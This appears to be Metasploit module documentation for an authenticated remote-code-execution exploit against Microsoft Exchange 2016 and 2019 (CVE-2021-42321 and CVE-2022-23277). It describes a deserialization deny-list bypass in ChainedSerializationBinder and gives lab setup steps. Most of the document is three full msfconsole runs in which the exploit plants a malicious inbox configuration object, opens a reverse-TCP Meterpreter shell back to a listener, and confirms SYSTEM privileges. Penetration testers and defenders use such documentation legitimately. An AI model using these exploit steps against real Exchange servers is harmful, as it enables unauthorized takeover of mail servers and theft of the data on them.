## Vulnerable Application

### Description
This module exploits vulnerabilities within the ChainedSerializationBinder as used in Exchange Server 2019 CU10,
Exchange Server 2019 CU11, Exchange Server 2016 CU21, and Exchange Server 2016 CU22 all prior to Mar22SU.

Note that authentication is required to exploit these vulnerabilities.

By leveraging this vulnerability, attackers can bypass the `ChainedSerializationBinder`'s deserialization deny list and
execute code as `NT AUTHORITY\SYSTEM`.

#### CVE-2021-42321 (Deny List Typo)
This specific flaw exists due to the fact that the deny list for the ChainedSerializationBinder had a typo whereby an
entry was incorrectly defined as `System.Security.ClaimsPrincipal` instead of the proper value of
`System.Security.Claims.ClaimsPrincipal`.

Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019, and Exchange Server 2016 CU22 SU0 on Windows Server
2016.

#### CVE-2022-23277 (Type Spoof Bypass)
Due to `ChainedSerializationBinder.BindToType(string, string)` and `ObjectReader.FastBindToType(string, string)` using
different algorithms, it is possible to bypass validation checks and load a malicious object.

Tested against Exchange Server 2019 CU11 SU3, build 15.2.986.15 via [KB5008631].
### Setup

1. Set up a version of Windows Server 2019.
2. Download Exchange Server 2019 CU11 SU0 from https://download.microsoft.com/download/5/3/e/53e75dbd-ca33-496a-bd23-1d861feaa02a/ExchangeServer2019-x64-CU11.ISO
3. Follow the guide at https://petri.com/how-to-install-active-directory-in-windows-server-2019-server-manager to turn
the server into an AD server.
4. Mount the ISO and run `Setup.exe`. It should prompt you install .NET Framework, Visual Studio C++ Redistributables,
and Unified Communications Managed API. Install these and then reboot.
5. Follow https://www.nucleustechnologies.com/blog/step-by-step-guide-to-install-exchange-server-2019-part-1/ and
install the required features.
6. Keep running `Setup.exe` and installing extra dependencies as needed as per the links.
7. When you do get all dependencies installed, Exchange should give a button called `Install` which should no longer be
greyed out. Press this to install and accept any warnings that appear.
8. Go to https://*ip here*/owa/ and make sure you can see the Exchange Outlook login page.

## Verification Steps

1. Follow [Setup](#setup) to set up a vulnerable target.
2. `msfconsole`
3. `set RHOST <target IP address>`
4. `set LHOST <IP for target to connect back to>`
5. `set HttpUsername <username of OWA user to log in as>`
6. `set HttpPassword <password for this OWA user>`
7. Optional: `set DOMAIN <domain of OWA user>`
8. Optional: `set VHOST <vhost of target>`
9. `exploit`
10. You should get a shell on the target as `NT AUTHORITY\SYSTEM` if it is vulnerable.

## Targets

### 0

Windows Command

### 1

Windows Dropper

### 2

PowerShell Stager

## Options

### HttpUsername

Set this to the OWA username. This can also be set to a valid domain username that has permissions to log into Exchange.

### HttpPassword

Set this to the OWA password. This can also be set to the password for a domain user that has permissions to log into Exchange.

## Scenarios

### Exchange Server 2016 CU22 (Build 15.1.2375.7) on Windows Server 2016 x64 (CVE-2021-42321)

```
msf > use exploit/windows/http/exchange_chainedserializationbinder_rce
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle
HttpUsername => aliddle
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1
HttpPassword => Password1
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN EXCHG
DOMAIN => EXCHG
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.42
RHOSTS => 192.168.159.42
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > show options

Module options (exploit/windows/http/exchange_chainedserializationbinder_rce):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  Password1        yes       The password to use to authenticate to the Exchange server
   HttpUsername  aliddle          yes       The username to log into the Exchange server as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.159.42   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT         443              yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT       8080             yes       The local port to listen on.
   SSL           true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI     /                yes       Base path
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host


Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.250.134  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows Command


msf exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit

[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is an Exchange Server!
[+] The target appears to be vulnerable. Exchange Server 15.1.2375.7 is vulnerable to CVE-2021-42321
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAAD9j/m9iNuTRpA5mrD5EV0AAAAACmbL
[+] ID value for Inbox folder is AQMkADU1ADBhYjYzMi02MTQ3LTRlOTEtYjU1ADAtN2M0ZDBhYjYzODVlAC4AAAMhko4gUQEoR6mlLklj/zwrAQD9j/m9iNuTRpA5mrD5EV0AAAMBDAAAAA==
[*] Deleting the user configuration object associated with Inbox folder...
[!] Was not able to successfully delete the existing user configuration on the Inbox folder!
[!] Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[*] Sending stage (175686 bytes) to 192.168.250.237
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.237:60610) at 2022-08-16 15:56:01 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-BPID95ACQ7E
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : EXCHG
Logged On Users : 4
Meterpreter     : x86/windows
meterpreter >
```

### Exchange Server 2016 CU22 Jan22SU (Build 15.1.2375.18) on Windows Server 2016 x64 (CVE-2022-23277)

```
msf > use exploit/windows/http/exchange_chainedserializationbinder_rce
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle
HttpUsername => aliddle
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1
HttpPassword => Password1
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN EXCHG
DOMAIN => EXCHG
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.42
RHOSTS => 192.168.159.42
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > show options

Module options (exploit/windows/http/exchange_chainedserializationbinder_rce):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  Password1        yes       The password to use to authenticate to the Exchange server
   HttpUsername  aliddle          yes       The username to log into the Exchange server as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.159.42   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT         443              yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT       8080             yes       The local port to listen on.
   SSL           true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI     /                yes       Base path
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host


Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.250.134  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows Command


msf exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit

[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is an Exchange Server!
[+] The target appears to be vulnerable. Exchange Server 15.1.2375.18 is vulnerable to CVE-2022-23277
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAAD9j/m9iNuTRpA5mrD5EV0AAAB3/PSE
[+] ID value for Inbox folder is AQMkADU1ADBhYjYzMi02MTQ3LTRlOTEtYjU1ADAtN2M0ZDBhYjYzODVlAC4AAAMhko4gUQEoR6mlLklj/zwrAQD9j/m9iNuTRpA5mrD5EV0AAAMBDAAAAA==
[*] Deleting the user configuration object associated with Inbox folder...
[+] Successfully deleted the user configuration object associated with the Inbox folder!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[*] Sending stage (175686 bytes) to 192.168.250.237
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.237:59440) at 2022-08-16 15:47:55 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-BPID95ACQ7E
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : EXCHG
Logged On Users : 7
Meterpreter     : x86/windows
meterpreter >
```

### Exchange Server 2019 CU11 Jan22SU (Build 15.2.986.15) on Windows Server 2019 x64 (CVE-2022-23277)

```
msf > use exploit/windows/http/exchange_chainedserializationbinder_rce
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.11
RHOSTS => 192.168.159.11
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle
HttpUsername => aliddle
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1!
HttpPassword => Password1!
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN MSFLAB.LOCAL
DOMAIN => MSFLAB.LOCAL
msf exploit(windows/http/exchange_chainedserializationbinder_rce) > show options

Module options (exploit/windows/http/exchange_chainedserializationbinder_rce):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  Password1!       yes       The password to use to authenticate to the Exchange server
   HttpUsername  aliddle          yes       The username to log into the Exchange server as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.159.11   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT         443              yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT       8080             yes       The local port to listen on.
   SSL           true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI     /                yes       Base path
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host


Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.250.134  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows Command


msf exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit

[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is an Exchange Server!
[+] The target appears to be vulnerable. Exchange Server 15.2.986.15 is vulnerable to CVE-2022-23277
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAACLmD9luiUIToCqtjHJMHTFAAADDlsC
[+] ID value for Inbox folder is AQMkAGMzMmEwZDQyLTJmMmYtNDdlNi04Nzg0LTNiMmNmMTkwZmNjAGIALgAAAwy2SlsLo7NNtRvmAZGoLDABAIuYP2W6JQhOgKq2MckwdMUAAAIBDAAAAA==
[*] Deleting the user configuration object associated with Inbox folder...
[+] Successfully deleted the user configuration object associated with the Inbox folder!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[*] Sending stage (175686 bytes) to 192.168.250.237
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.237:63854) at 2022-08-16 15:49:45 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : EXCHANGE2019
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 9
Meterpreter     : x86/windows
meterpreter >
```

[KB5008631]: https://support.microsoft.com/en-gb/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-january-11-2022-kb5008631-2ee4d1f3-8341-4a4d-86be-4b73bc944f1b
